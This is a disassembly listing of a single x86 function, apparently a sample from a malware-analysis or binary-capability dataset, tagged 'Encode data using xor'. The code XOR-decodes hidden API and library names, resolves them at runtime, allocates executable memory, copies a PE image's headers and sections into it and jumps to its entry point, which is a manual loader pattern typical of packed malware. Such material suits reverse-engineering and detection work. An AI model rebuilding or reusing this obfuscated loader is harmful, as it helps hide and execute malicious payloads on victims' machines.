Function at 0x401ea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 0
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [ebx]
push esi
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], esi
call dword [eax]
mov edi, eax
mov dword [ebp - 0x3c], edi
test edi, edi
je 0x4020ca
mov ecx, dword [ebx]
push 5
push esi
mov edx, dword [ecx + 4]
mov ecx, ebx
call edx
mov dword [ebp - 0x44], eax
mov cl, 0x44
mov eax, dword [edi + 0x34]
mov ch, 0x46
mov dword [ebp - 0x50], eax
mov bl, 0x4e
mov byte [ebp - 0x1c], 0x2a
mov al, ch
xor cl, byte [ebp - 0x1c]
mov ah, 4
mov byte [ebp - 0x1b], cl
mov dh, bl
mov cl, byte [ebp - 0x1c]
mov bh, ch
xor al, cl
mov byte [ebp - 0xd], ch
mov byte [ebp - 0x17], al
xor ah, cl
mov al, byte [ebp - 0xd]
mov dl, 0x5e
xor al, cl
mov byte [ebp - 0x16], ah
mov byte [ebp - 0x13], al
xor dl, cl
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], 0
xor bl, cl
mov byte [ebp - 0x1a], dl
xor ch, cl
mov byte [ebp - 0x19], bl
xor dh, cl
mov byte [ebp - 0x18], ch
xor bh, cl
mov byte [ebp - 0x15], dh
push eax
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
movaps xmm0, xmmword [0x405270]
mov edx, eax
mov dword [ebp - 0x40], edx
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x3b3d2037
mov word [ebp - 0x24], 0x3a
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x14
jb 0x401f68
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x37]
push eax
push edx
mov byte [ebp - 0x23], 0
call ebx
push dword [edi + 0x34]
push 0xffffffffffffffff
call eax
movaps xmm0, xmmword [0x405260]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x133b1a17
mov dword [ebp - 0x24], 0xf04191b
mov byte [ebp - 0x20], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x17
jb 0x401fb0
lea eax, [ebp - 0x37]
mov byte [ebp - 0x20], 0
push eax
push dword [ebp - 0x40]
call ebx
mov ecx, dword [edi + 0x50]
mov ebx, eax
push 0x40
push 0x3000
lea eax, [ebp - 8]
mov dword [ebp - 8], ecx
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x402021
cmp dword [ebp - 0x44], eax
je 0x4020ca
push 0x40
push 0x3000
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4020ca
mov edx, dword [edi + 0x54]
mov dword [edi + 0x34], eax
mov ecx, dword [ebp - 0xc]
test edx, edx
je 0x402042
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx], al
lea ecx, [ecx + 1]
sub edx, 1
jne 0x402030
mov ecx, dword [ebp - 0xc]
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0x402087
add edi, 0x104
mov edx, dword [edi]
mov eax, dword [edi + 8]
add edx, ecx
add eax, dword [ebp - 0x48]
mov esi, dword [edi + 4]
test esi, esi
je 0x402075
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx], cl
lea edx, [edx + 1]
sub esi, 1
jne 0x402063
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x3c]
inc ebx
add edi, 0x28
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x402052
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x4c]
push ecx
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x50]
cmp edx, ecx
je 0x4020b0
push dword [edi + 0x50]
mov eax, dword [esi]
push edx
push 0
push ecx
push 0
push edx
mov ecx, esi
call dword [eax + 0xc]
mov edx, dword [ebp - 0xc]
mov eax, dword [edi + 0x28]
add eax, edx
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402ffe
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ffe
mov esp, ebp
pop ebp
ret 4